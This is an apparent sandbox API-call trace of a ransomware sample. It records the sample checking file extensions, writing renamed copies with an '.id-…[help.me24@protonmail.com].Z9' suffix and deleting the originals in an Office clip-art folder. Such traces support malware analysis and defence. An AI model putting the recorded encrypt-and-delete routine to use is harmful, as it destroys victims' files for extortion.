	[0097.203] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0097.204] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.204] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.204] SetEndOfFile (hFile=0x35c) returned 1
	[0097.204] CloseHandle (hObject=0x35c) returned 1
	[0097.204] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.204] SetEndOfFile (hFile=0x378) returned 1
	[0097.213] CloseHandle (hObject=0x378) returned 1
	[0097.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1
	[0097.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.214] lstrlenW (lpString=".doc") returned 4
	[0097.214] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.214] lstrlenW (lpString=".docx") returned 5
	[0097.214] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0097.214] lstrlenW (lpString=".pdf") returned 4
	[0097.214] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.214] lstrlenW (lpString=".xls") returned 4
	[0097.214] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.214] lstrlenW (lpString=".xlsx") returned 5
	[0097.214] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0097.214] lstrlenW (lpString=".ppt") returned 4
	[0097.214] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.214] lstrlenW (lpString=".zip") returned 4
	[0097.214] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.214] lstrlenW (lpString=".rar") returned 4
	[0097.215] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.215] lstrlenW (lpString=".bz2") returned 4
	[0097.215] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.215] lstrlenW (lpString=".7z") returned 3
	[0097.215] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.215] lstrlenW (lpString=".dbf") returned 4
	[0097.215] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.215] lstrlenW (lpString=".1cd") returned 4
	[0097.215] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.215] lstrlenW (lpString=".jpg") returned 4
	[0097.215] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.215] lstrlenW (lpString=".doc") returned 4
	[0097.215] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.215] lstrlenW (lpString=".docx") returned 5
	[0097.215] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0097.215] lstrlenW (lpString=".pdf") returned 4
	[0097.215] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.215] lstrlenW (lpString=".xls") returned 4
	[0097.215] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.215] lstrlenW (lpString=".xlsx") returned 5
	[0097.215] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0097.215] lstrlenW (lpString=".ppt") returned 4
	[0097.215] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.215] lstrlenW (lpString=".zip") returned 4
	[0097.215] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.215] lstrlenW (lpString=".rar") returned 4
	[0097.215] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.215] lstrlenW (lpString=".bz2") returned 4
	[0097.215] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.215] lstrlenW (lpString=".7z") returned 3
	[0097.216] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.216] lstrlenW (lpString=".dbf") returned 4
	[0097.216] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.216] lstrlenW (lpString=".1cd") returned 4
	[0097.216] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0097.216] lstrlenW (lpString=".jpg") returned 4
	[0097.216] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.216] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.216] lstrlenW (lpString="J0099152.JPG") returned 12
	[0097.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.219] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11694) returned 1
	[0097.219] CloseHandle (hObject=0x378) returned 1
	[0097.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220
	[0097.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.219] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.220] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.220] GetLastError () returned 0x0
	[0097.220] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0097.233] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0097.234] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.234] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.234] SetEndOfFile (hFile=0x35c) returned 1
	[0097.234] CloseHandle (hObject=0x35c) returned 1
	[0097.234] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.234] SetEndOfFile (hFile=0x378) returned 1
	[0097.235] CloseHandle (hObject=0x378) returned 1
	[0097.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1
	[0097.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.235] lstrlenW (lpString=".doc") returned 4
	[0097.236] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.236] lstrlenW (lpString=".docx") returned 5
	[0097.236] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0097.236] lstrlenW (lpString=".pdf") returned 4
	[0097.236] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.236] lstrlenW (lpString=".xls") returned 4
	[0097.236] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.236] lstrlenW (lpString=".xlsx") returned 5
	[0097.236] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0097.236] lstrlenW (lpString=".ppt") returned 4
	[0097.236] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.236] lstrlenW (lpString=".zip") returned 4
	[0097.236] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.236] lstrlenW (lpString=".rar") returned 4
	[0097.236] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.236] lstrlenW (lpString=".bz2") returned 4
	[0097.236] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.236] lstrlenW (lpString=".7z") returned 3
	[0097.236] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.236] lstrlenW (lpString=".dbf") returned 4
	[0097.236] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.236] lstrlenW (lpString=".1cd") returned 4
	[0097.236] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.236] lstrlenW (lpString=".jpg") returned 4
	[0097.236] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.236] lstrlenW (lpString=".doc") returned 4
	[0097.236] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.236] lstrlenW (lpString=".docx") returned 5
	[0097.237] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0097.237] lstrlenW (lpString=".pdf") returned 4
	[0097.237] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.237] lstrlenW (lpString=".xls") returned 4
	[0097.237] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.237] lstrlenW (lpString=".xlsx") returned 5
	[0097.237] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0097.237] lstrlenW (lpString=".ppt") returned 4
	[0097.237] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.237] lstrlenW (lpString=".zip") returned 4
	[0097.237] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.237] lstrlenW (lpString=".rar") returned 4
	[0097.237] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.237] lstrlenW (lpString=".bz2") returned 4
	[0097.237] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.237] lstrlenW (lpString=".7z") returned 3
	[0097.237] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.237] lstrlenW (lpString=".dbf") returned 4
	[0097.237] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.237] lstrlenW (lpString=".1cd") returned 4
	[0097.237] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0097.237] lstrlenW (lpString=".jpg") returned 4
	[0097.237] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.237] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.237] lstrlenW (lpString="J0099154.JPG") returned 12
	[0097.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.238] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=6929) returned 1
	[0097.238] CloseHandle (hObject=0x378) returned 1
	[0097.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220
	[0097.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0097.238] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.238] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.239] GetLastError () returned 0x0
	[0097.239] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x1b11, lpOverlapped=0x0) returned 1
	[0097.245] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0097.246] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.247] WriteFile (in: hFile=0x35c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0097.247] SetEndOfFile (hFile=0x35c) returned 1
	[0097.247] CloseHandle (hObject=0x35c) returned 1
	[0097.247] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.247] SetEndOfFile (hFile=0x378) returned 1
	[0097.258] CloseHandle (hObject=0x378) returned 1
	[0097.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0097.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1
	[0097.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.258] lstrlenW (lpString=".doc") returned 4
	[0097.258] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.258] lstrlenW (lpString=".docx") returned 5
	[0097.258] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0097.258] lstrlenW (lpString=".pdf") returned 4
	[0097.258] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.258] lstrlenW (lpString=".xls") returned 4
	[0097.259] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.259] lstrlenW (lpString=".xlsx") returned 5
	[0097.259] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0097.259] lstrlenW (lpString=".ppt") returned 4
	[0097.259] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.259] lstrlenW (lpString=".zip") returned 4
	[0097.259] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.259] lstrlenW (lpString=".rar") returned 4
	[0097.259] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.259] lstrlenW (lpString=".bz2") returned 4
	[0097.259] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.259] lstrlenW (lpString=".7z") returned 3
	[0097.259] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.259] lstrlenW (lpString=".dbf") returned 4
	[0097.259] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.259] lstrlenW (lpString=".1cd") returned 4
	[0097.259] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.259] lstrlenW (lpString=".jpg") returned 4
	[0097.259] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.259] lstrlenW (lpString=".doc") returned 4
	[0097.259] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0097.259] lstrlenW (lpString=".docx") returned 5
	[0097.259] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0097.259] lstrlenW (lpString=".pdf") returned 4
	[0097.259] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0097.259] lstrlenW (lpString=".xls") returned 4
	[0097.259] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0097.259] lstrlenW (lpString=".xlsx") returned 5
	[0097.259] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0097.259] lstrlenW (lpString=".ppt") returned 4
	[0097.260] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0097.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.260] lstrlenW (lpString=".zip") returned 4
	[0097.260] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0097.260] lstrlenW (lpString=".rar") returned 4
	[0097.260] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0097.260] lstrlenW (lpString=".bz2") returned 4
	[0097.260] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0097.260] lstrlenW (lpString=".7z") returned 3
	[0097.260] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0097.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.260] lstrlenW (lpString=".dbf") returned 4
	[0097.260] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0097.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.260] lstrlenW (lpString=".1cd") returned 4
	[0097.260] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0097.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0097.260] lstrlenW (lpString=".jpg") returned 4
	[0097.260] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0097.260] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0097.260] lstrlenW (lpString="J0099156.JPG") returned 12
	[0097.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.263] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=13954) returned 1
	[0097.263] CloseHandle (hObject=0x35c) returned 1
	[0097.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220
	[0097.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0097.265] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.265] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0097.265] GetLastError () returned 0x0
	[0097.265] ReadFile (in: hFile=0x300, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x3682, lpOverlapped=0x0) returned 1
